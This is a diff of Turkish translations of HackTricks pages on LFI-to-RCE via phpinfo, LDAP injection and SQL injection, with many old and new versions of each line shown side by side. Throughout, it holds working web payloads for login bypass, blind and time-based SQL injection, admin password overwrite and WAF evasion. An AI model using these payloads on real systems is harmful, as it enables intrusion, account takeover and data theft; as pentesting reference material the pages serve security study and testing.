Eğer LFI'yi **geçici dosyalar yüklemek** için kötüye kullanabiliyorsanız ve sunucunun PHP yürütmesini **dondurmasını** sağlayabiliyorsanız, o zaman **geçici dosyayı bulmak için saatlerce dosya adlarını brute force** yapabilirsiniz:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### Fatal Error'a
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı oluşturmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
**Bunun nasıl faydalı olduğunu bilmiyorum ama olabilir.**\
&#xNAN;_&#x45;ven if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
&#xNAN;_&#x45;ven bir PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## Referanslar
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,20 @@
{{#include ../../banners/hacktricks-training.md}}
Bu güvenlik açığını istismar etmek için şunlara ihtiyacınız var: **Bir LFI güvenlik ığı, phpinfo()'un görüntülendiği bir sayfa, "file_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.**
Bu güvenlik açığını istismar etmek için şunlara ihtiyacınız var: **Bir LFI açığı, phpinfo()'un görüntülendiği bir sayfa, "file_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Eğitim HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
İstismarı düzeltmeniz gerekiyor ( **=>** yerine **=>** değiştirin). Bunu yapmak için şunları yapabilirsiniz:
İstismarı düzeltmeniz gerekiyor ( **=>**'yi **=>** ile değiştirin). Bunu yapmak için şunları yapabilirsiniz:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Başlangıçta **payload**'u değiştirmelisiniz (örneğin bir php-rev-shell için), **REQ1** (bu phpinfo sayfasına işaret etmeli ve padding içermelidir, yani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), ve **LFIREQ** (bu LFI zafiyetine işaret etmelidir, yani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Null karakteri sömürürken çift "%" olduğuna dikkat edin)
Başlangıçta **payload**'ı değiştirmelisiniz (örneğin bir php-rev-shell için), **REQ1** (bu phpinfo sayfasına işaret etmeli ve padding içermelidir, yani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), ve **LFIREQ** (bu LFI zafiyetine işaret etmelidir, yani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Null karakteri sömürürken çift "%" olduğuna dikkat edin)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### Teori
@ -22,11 +24,11 @@ Sonra, web sunucusunda bir LFI zafiyeti bulduysanız, oluşturulan geçici dosya
**Windows**'ta dosyalar genellikle **C:\Windows\temp\php** dizininde saklanır.
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce buna erişmek gereklidir. Bu, "**phpconfig()**" fonksiyonunun içeriğindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
**Linux**'ta dosyanın adı genellikle **rastgele** olup **/tmp** dizininde bulunur. Ad rastgele olduğu için, **geçici dosyanın adını bir yerden çıkarmak** ve silinmeden önce erişmek gereklidir. Bu, "**phpconfig()**" fonksiyonunun içindeki **$\_FILES** değişkeninin değerini okuyarak yapılabilir.
**phpinfo()**
**PHP** bir **4096B** tamponu kullanır ve bu **dolu olduğunda**, **istemciye gönderilir**. Ardından istemci **birçok büyük istek** (büyük başlıklar kullanarak) **yükleyerek bir php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının geri dönmesini bekleyebilir** (geçici dosyanın adı burada bulunur) ve php sunucusu dosyayı silmeden önce **geçici dosyaya erişmeye** çalışabilir, böylece bir LFI zafiyetini sömürebilir.
**PHP**, **4096B**'lik bir tampon kullanır ve tampon **dolu** olduğunda, **istemciye gönderilir**. Ardından istemci, **birçok büyük istek** (büyük başlıklar kullanarak) **yükleyerek bir php** ters **shell** yükleyebilir, **phpinfo()'un ilk kısmının** (geçici dosyanın adının bulunduğu yer) **geri dönmesini bekleyebilir** ve php sunucusu dosyayı silmeden önce **geçici dosyaya erişmeye** çalışabilir, böylece bir LFI zafiyetini sömürebilir.
**İsimleri brute force denemek için Python scripti (uzunluk = 6)**
```python

View File

@ -8,7 +8,7 @@
### **LDAP**
**LDAP'nın ne olduğunu öğrenmek istiyorsanız, aşağıdaki sayfaya erişin:**
**LDAP nedir öğrenmek istiyorsanız, aşağıdaki sayfaya erişin:**
{{#ref}}
../network-services-pentesting/pentesting-ldap.md
@ -16,21 +16,23 @@
**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu durum, saldırganların yerel bir proxy aracılığıyla **LDAP ifadelerini manipüle etmesine** olanak tanır; bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
{{#endfile}}
**Filtre** = ( filtercomp )\
**Filtrecomp** = ve / veya / değil / öğe\
**Ve** = & filtrelist\
**Veya** = |filtrelist\
**Değil** = ! filtre\
**Filtrelist** = 1\*filtre\
**Öğe**= basit / mevcut / alt dize\
**Basit** = attr filtretipi assertionvalue\
**Filtretipi** = _'=' / '\~=' / '>=' / '<='_\
**Mevcut** = attr = \*\
**Alt dize** = attr ”=” \[ilk] \* \[son]\
**İlk** = assertionvalue\
**Son** = assertionvalue\
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = Kesin DOĞRU\
&#xNAN;**(|)** = Kesin YANLIŞ
@ -44,7 +46,7 @@ Veritabanına erişebilirsiniz ve bu, birçok farklı türde bilgi içerebilir.
**ADAM veya Microsoft LDS**: 2 filtre ile bir hata fırlatır.\
**SunOne Directory Server 5.0**: Her iki filtreyi de çalıştırır.
**Filtreyi doğru sözdizimi ile göndermek çok önemlidir, aksi takdirde bir hata fırlatılacaktır. Sadece 1 filtre göndermek daha iyidir.**
**Filtrenin doğru sözdizimi ile gönderilmesi çok önemlidir, aksi takdirde bir hata fırlatılacaktır. Sadece 1 filtre göndermek daha iyidir.**
Filtre `&` veya `|` ile başlamalıdır.\
Örnek: `(&(directory=val1)(folder=public))`
@ -54,9 +56,9 @@ Filtre `&` veya `|` ile başlamalıdır.\
Sonra: `(&(objectClass=`**`*)(ObjectClass=*))`** ilk filtre (çalıştırılan) olacaktır.
### Giriş Atlatma
### Login Bypass
LDAP, şifreyi saklamak için birkaç formatı destekler: ık, md5, smd5, sh1, sha, crypt. Yani, şifreye ne eklerseniz ekleyin, hashlenmiş olabilir.
LDAP, şifreyi saklamak için birkaç formatı destekler: clear, md5, smd5, sh1, sha, crypt. Yani, şifreye ne koyarsanız koyun, hashlenmiş olabilir.
```bash
user=*
password=*
@ -114,12 +116,12 @@ password=any
#### Listeler
- [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
- [LDAP Nitelikleri](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount nitelikleri](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
- [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Kör LDAP Enjeksiyonu
Herhangi bir verinin döndürülüp döndürülmediğini kontrol etmek ve olası bir Kör LDAP Enjeksiyonunu doğrulamak için Yanlış veya Doğru yanıtları zorlayabilirsiniz:
Herhangi bir verinin döndürülüp döndürülmediğini kontrol etmek ve olası bir Kör LDAP Enjeksiyonunu doğrulamak için Yanlış veya Doğru yanıtlarını zorlayabilirsiniz:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -148,7 +150,7 @@ Ascii harfleri, rakamlar ve semboller üzerinde döngü yapabilirsiniz:
#### **Geçerli LDAP alanlarını keşfet**
LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir.** Bu bilgiyi çıkarmak için **hepsini brute-force ile denemeyi** deneyebilirsiniz. [**Varsayılan LDAP özniteliklerinin bir listesini buradan bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
LDAP nesneleri **varsayılan olarak birkaç öznitelik içerir** ve bu öznitelikler **bilgi saklamak için kullanılabilir.** Bu bilgileri çıkarmak için **hepsini brute-force ile denemeyi** deneyebilirsiniz. [**Varsayılan LDAP özniteliklerinin bir listesini burada bulabilirsiniz**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
#!/usr/bin/python3
import requests

View File

@ -4,11 +4,11 @@
## SQL enjeksiyonu nedir?
Bir **SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgularıyla etkileşimde bulunmasına** olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların **görmesine**, **değiştirmesine** veya **silmesine** izin verebilir; bu, erişmemeleri gereken verileri, diğer kullanıcıların bilgilerini veya uygulamanın erişebileceği herhangi bir veriyi içerebilir. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir.
Bir **SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgularıyla etkileşimde bulunmasına** olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların erişmemeleri gereken verileri, diğer kullanıcıların bilgileri veya uygulamanın erişebileceği herhangi bir veriyi **görmesine**, **değiştirmesine** veya **silmesine** olanak tanıyabilir. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir.
## Giriş noktası tespiti
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu göründüğünde, **ilk adım**, **veriyi sorguya enjekte etmenin** ve bunu bozmadan yapmanın yollarını anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **sorguya veri enjekte etmenin** ve bunu bozmadan yapmanın yollarını anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
```
[Nothing]
'
@ -53,7 +53,7 @@ HQL does not support comments
```
### Mantıksal işlemlerle doğrulama
Bir SQL enjeksiyon açığını doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL enjeksiyon ığına işaret eder.
SQL enjeksiyon zafiyetini doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL enjeksiyon zafiyetini gösterir.
Benzer şekilde, **matematiksel işlemlerin** uygulanması etkili bir doğrulama tekniği olarak hizmet eder. Örneğin, `?id=1` ve `?id=2-1` erişimlerinin aynı sonucu vermesi, SQL enjeksiyonunu gösterir.
@ -64,13 +64,15 @@ page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
Bu kelime listesi, önerilen şekilde **SQL enjeksiyonlarını** **doğrulamaya** çalışmak için oluşturulmuştur:
Bu kelime listesi, önerilen şekilde **SQL enjeksiyonlarını doğrulamak** için oluşturulmuştur:
{% file src="../../images/sqli-logic.txt" %}
{{#file}}
sqli-logic.txt
{{#endfile}}
### Zaman ile Doğrulama
Bazı durumlarda, test ettiğiniz sayfada **herhangi bir değişiklik fark etmeyeceksiniz**. Bu nedenle, **kör SQL enjeksiyonlarını** keşfetmenin iyi bir yolu, veritabanının işlemler yapmasını sağlamak ve bu işlemlerin sayfanın yüklenme süresi üzerinde **etkisi** olacaktır.\
Bazı durumlarda, test ettiğiniz sayfada **hbir değişiklik fark etmeyeceksiniz**. Bu nedenle, **kör SQL enjeksiyonlarını keşfetmenin** iyi bir yolu, veritabanının işlemler yapmasını sağlamak ve bu işlemlerin sayfanın yüklenme süresi üzerinde **etkisi** olacaktır.\
Bu nedenle, SQL sorgusuna tamamlanması uzun sürecek bir işlemi ekleyeceğiz:
```
MySQL (string concat and logical ops)
@ -170,7 +172,7 @@ Sorgu doğru olana kadar daha fazla null değeri seçin:
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_`null` değerlerini kullanmalısınız çünkü bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve null her durumda geçerlidir._
_Sorgunun her iki tarafındaki sütunların türü aynı olmalıdır, bu nedenle bazı durumlarda `null` değerlerini kullanmalısınız ve null her durumda geçerlidir._
### Veritabanı adlarını, tablo adlarını ve sütun adlarını çıkarın
@ -193,39 +195,39 @@ Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyonun ge
Bu, kör enjeksiyon tekniklerinin yanı sıra hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tabloların kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'in belgelerine başvurulması önerilir.
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve böylece yeni erişilebilir union tabanlı enjeksiyonun sömürülmesi sağlanır.
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve bu, yeni erişilebilir union tabanlı enjeksiyonun sömürülmesini kolaylaştırır.
Daha kapsamlı bilgiler için, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) adresindeki tam makaleye başvurun.
## Hata Tabanlı Sömürü
Eğer bir sebepten dolayı **sorgunun** **çıkışını** göremiyorsanız ancak **hata mesajlarını** görebiliyorsanız, bu hata mesajlarını veritabanından **veri sızdırmak** için kullanabilirsiniz.\
Eğer bir nedenle **sorgunun** **çıkışını** göremiyorsanız ancak **hata mesajlarını** görebiliyorsanız, bu hata mesajlarını veritabanından **veri sızdırmak** için kullanabilirsiniz.\
Union Tabanlı sömürüdeki benzer bir akışı takip ederek veritabanını dökme işlemini gerçekleştirebilirsiniz.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Blind SQLi'yi Kullanma
Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun **doğru** veya **yanlış** bir yanıt döndürdüğünde sayfadaki farklı içeriklerden **ayırabilirsiniz**.\
Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun **doğru** veya **yanlış** bir yanıt verip vermediğini sayfadaki farklı içeriklerden **ayırabilirsiniz**.\
Bu durumda, veritabanını karakter karakter dökmek için bu davranışı kötüye kullanabilirsiniz:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Hata Kör SQLi İstismarı
## Hata Kör SQLi Sömürüsü
Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** ile ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri tahmin ettiğiniz her seferde bir SQL hatası zorlayabilirsiniz:
Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** olup olmadığını ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda her doğru karakteri tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Zaman Tabanlı SQLi İstismar Etme
Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını ayırt etmenin** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresinin uzamasını** sağlayabilirsiniz. Bu tekniği daha önce [bir SQLi zafiyetini doğrulamak için](#confirming-with-timing) kullanırken gördük.
Bu durumda, sayfanın bağlamına göre sorgunun **yanıtını ayırt etmenin** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresinin uzamasını** sağlayabilirsiniz. Bu tekniği daha önce [bir SQLi zafiyetini doğrulamak için](#confirming-with-timing) kullanırken gördük.
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilgilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilişkilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
**Oracle** **stacked queries**'i desteklemez. **MySQL, Microsoft** ve **PostgreSQL** bunları destekler: `QUERY-1-HERE; QUERY-2-HERE`
@ -243,7 +245,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
Bir SQLi zafiyetini sömürmek için [SQLMap Cheatsheet](sqlmap/index.html)'e bakın ve [**sqlmap**](https://github.com/sqlmapproject/sqlmap) kullanın.
## Teknolojiye özgü bilgiler
## Teknik spesifik bilgiler
SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı daha fazla ipucu bulabilirsiniz:
@ -267,7 +269,7 @@ Giriş işlevselliğini atlatmayı denemek için liste:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Bu sorgu, MD5'in kimlik doğrulama kontrollerinde ham çıktı için true ile kullanıldığında bir zayıflığı sergilemektedir ve bu durum sistemi SQL enjeksiyonuna karşı savunmasız hale getirmektedir. Saldırganlar, bu durumu, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak istismar edebilir ve yetkisiz erişim sağlayabilir.
Bu sorgu, MD5'in kimlik doğrulama kontrollerinde ham çıktı için true ile kullanıldığında bir zayıflığı sergilemektedir ve bu durum sistemi SQL enjeksiyonuna karşı savunmasız hale getirmektedir. Saldırganlar, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak bunu istismar edebilir ve yetkisiz erişim sağlayabilir.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -276,12 +278,14 @@ sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Önerilen liste**:
**Tavsiye edilen liste**:
Kullanıcı adı olarak listenin her satırını ve şifre olarak her zaman: _**Pass1234.**_ kullanmalısınız.\
&#xNAN;_(Bu yükler, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_
{% file src="../../images/sqli-hashbypass.txt" %}
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK Kimlik Doğrulama Atlatma
@ -308,17 +312,17 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### Mevcut nesne/kullanıcının şifresini değiştirme
Bunu yapmak için **"master object"** olarak adlandırılan yeni bir nesne **oluşturmaya** çalışmalısınız (muhtemelen **admin** kullanıcılar için):
Bunu yapmak için **"master object"** olarak adlandırılan yeni bir nesne **oluşturmaya çalışmalısınız** (kullanıcılar için muhtemelen **admin**):
- Adı **AdMIn** olan bir kullanıcı oluşturun (büyük & küçük harfler)
- Adı **admin=** olan bir kullanıcı oluşturun
- **SQL Truncation Attack** (kullanıcı adı veya e-posta için bazı türde **uzunluk sınırı** olduğunda) --> Adı **admin \[bir sürü boşluk] a** olan bir kullanıcı oluşturun
- **SQL Truncation Attack** (kullanıcı adı veya e-posta için bir tür **uzunluk sınırı** olduğunda) --> Adı **admin \[bir sürü boşluk] a** olan bir kullanıcı oluşturun
#### SQL Truncation Attack
Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve **admin** kullanıcısını taklit etmek istiyorsanız, "_admin \[30 boşluk] a_" adında bir kullanıcı adı oluşturmaya çalışın ve herhangi bir şifre belirleyin.
Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" olarak **güncelleyerek sonundaki tüm boşlukları otomatik olarak kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez).
Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" **yeni şifreyle güncelleyerek** sonundaki tüm boşlukları **otomatik olarak kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez).
Daha fazla bilgi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -326,7 +330,7 @@ _Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi
### MySQL Ekleme zaman tabanlı kontrol
VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Eğer gecikme gerçekleşirse, bir SQLInjection'a sahipsiniz.
VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Gecikme gerçekleşirse, bir SQLInjection vardır.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
@ -334,7 +338,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
MySQL'deki `ON DUPLICATE KEY UPDATE` ifadesi, UNIQUE indeks veya PRIMARY KEY'de bir kopya değere neden olacak bir satır eklenmeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek için nasıl istismar edilebileceğini göstermektedir:
Örnek Yükleme Enjeksiyonu:
Örnek Yük Enjeksiyonu:
Bir enjeksiyon yükü şu şekilde hazırlanabilir; burada `users` tablosuna iki satır eklenmeye çalışılmaktadır. İlk satır bir aldatmaca, ikinci satır ise mevcut bir yöneticinin e-posta adresini hedef alarak şifreyi güncellemeyi amaçlamaktadır:
```sql
@ -342,9 +346,9 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
```
İşte nasıl çalıştığı:
- Sorgu, `generic_user@example.com` için bir satır ve `admin_generic@example.com` için başka bir satır eklemeye çalışır.
- Sorgu, `generic_user@example.com` için bir ve `admin_generic@example.com` için başka bir satır eklemeye çalışır.
- Eğer `admin_generic@example.com` için satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir.
- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword", istenen şifrenin gerçek hash'i ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder).
- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword" yeni şifrenin bcrypt hash'ini temsil eder, bu da istenen şifrenin gerçek hash'i ile değiştirilmelidir).
### Bilgi çıkarma
@ -369,7 +373,7 @@ Metni almak için şunu kullanabilirsiniz:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
**hex** ve **replace** (ve **substr**):
**hex** ve **replace** (ve **substr**) kullanarak:
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -382,7 +386,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
Routed SQL injection, çıktıyı veren sorgu değil, enjekte edilebilir sorgunun çıktısının çıktıyı veren sorguya gittiği bir durumdur. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Örnek:
Example:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
@ -393,7 +397,7 @@ Routed SQL injection, çıktıyı veren sorgu değil, enjekte edilebilir sorgunu
### No spaces bypass
No Space (%20) - boşluk alternatifleri kullanarak atlatma
No Space (%20) - boşluk alternatifleri kullanarak bypass
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -445,7 +449,7 @@ Temelde, WAF'ı atlatmak için bilimsel notasyonu beklenmedik şekillerde kullan
```
### Sütun İsimleri Kısıtlamasını Aşma
Öncelikle, **orijinal sorgu ile bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu** unutmayın, bu durumda sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
Öncelikle, **orijinal sorgu ile bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu** unutmayın, sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
Bir tablonun **üçüncü sütununa ismini kullanmadan erişmek** mümkündür, aşağıdaki gibi bir sorgu ile: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu nedenle bir sqlinjection'da bu şöyle görünecektir:
```bash

View File

@ -6,7 +6,7 @@
